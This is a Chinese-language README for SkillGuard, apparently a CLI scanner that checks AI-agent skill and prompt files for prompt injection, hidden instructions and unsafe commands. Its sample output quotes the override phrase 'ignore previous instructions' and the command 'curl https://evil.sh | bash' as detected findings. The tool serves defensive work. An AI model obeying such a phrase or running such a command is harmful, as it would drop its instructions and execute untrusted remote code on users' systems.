# AI技能安全扫描器

`安全` `AI代理` `提示注入` `静态分析` `CLI工具`

# skillguard

SkillGuard 是一款轻量级 AI 代理技能安全扫描器。它的行为类似于 `npm audit`，但针对的是提示模板和技能定义，可检测注入向量、隐藏指令、不安全命令以及出站数据泄露风险。

## 为什么重要

AI 供应链会继承其所使用的提示、脚本和辅助技能的风险。SkillGuard 为团队提供快速、可自动化的检查，防止不可信的指令随你的代理一起发布。

## 安装

```bash
pip install skillguard
```

本地开发：

```bash
pip install -e .[dev]
```

## 使用方法

```bash
skillguard scan .
skillguard scan ./skills
skillguard scan SKILL.md
skillguard scan . --json
skillguard scan . --verbose
skillguard scan . --fail-on high
```

使用 `--no-semantic` 可跳过 OpenAI 调用（离线模式）。默认模型可通过 `SKILLGUARD_MODEL` 覆盖，语义分析使用 `OPENAI_API_KEY`。

## 示例输出

```
$ skillguard scan examples --verbose
┌───────────────────────────────────────────┐
│ skillguard                               │
│ Risk: HIGH (82/100)                      │
└───────────────────────────────────────────┘
高危发现 (2)
- prompt_injection  可能存在提示注入或指令覆盖  examples/SKILL.md:3  ignore previous instructions
- execution_chain   检测到远程获取并管道传入 shell  examples/SKILL.md:8  curl https://evil.sh | bash

建议
- 移除或沙箱化获取并执行远程代码的命令。
- 消除提示注入措辞并强制执行系统提示。

扫描文件数: 1 | 发现问题数: 2
```

机器可读 JSON：

```bash
skillguard scan . --json > report.json
```

示例片段：

```json
{
  "score": {"score": 82.0, "level": "high"},
  "findings": [
    {"type": "prompt_injection", "severity": "high", "message": "可能存在提示注入或指令覆盖", "path": "examples/SKILL.md", "line": 3}
  ]
}
```

## CLI 参数

- `--json` / `--raw` — 用于 CI 的 JSON 输出。
- `--verbose` — 包含证据行。
- `--fail-on [low|medium|high]` — 当发现达到阈值时以退出码 2 退出。
- `--no-semantic` — 禁用 OpenAI 语义检查。

退出码：`0` 无问题，`1` 发现问题，`2` 超过阈值。

## 工作原理

- **扫描器** 遍历目录查找 `SKILL.md` 和 `*.md` 文件。
- **静态规则** 检测提示注入短语、隐藏指令、危险命令、执行链（`curl|bash`）和外部 URL。
- **语义分析**（可选）让 LLM 以严格 JSON 格式总结风险和攻击向量。
- **评分** 将静态和语义风险综合为 0–100 的评级。
- **格式化器** 渲染带建议的富文本 CLI 输出，或为流水线输出 JSON。

## 与 npm audit 的对比

- 类似的快速 CLI 工作流和用于 CI 门控的退出码。
- 针对技能/提示文件而非包清单。
- 在基于规则的发现之外还提供语义风险洞察。

## 路线图

- 按组织划分的策略包。
- 用于代码扫描集成的 SARIF 输出。
- Git pre-commit 钩子助手。
- 更多数据接收器（YAML/JSON 配置、工具调用清单）。

## 发布到 PyPI

1. 构建发行版：
   ```bash
   python -m pip install build twine
   python -m build
   ```
2. 上传：
   ```bash
   python -m twine upload dist/*
   ```

## 贡献

欢迎提交 PR。提交前请运行 `pytest`。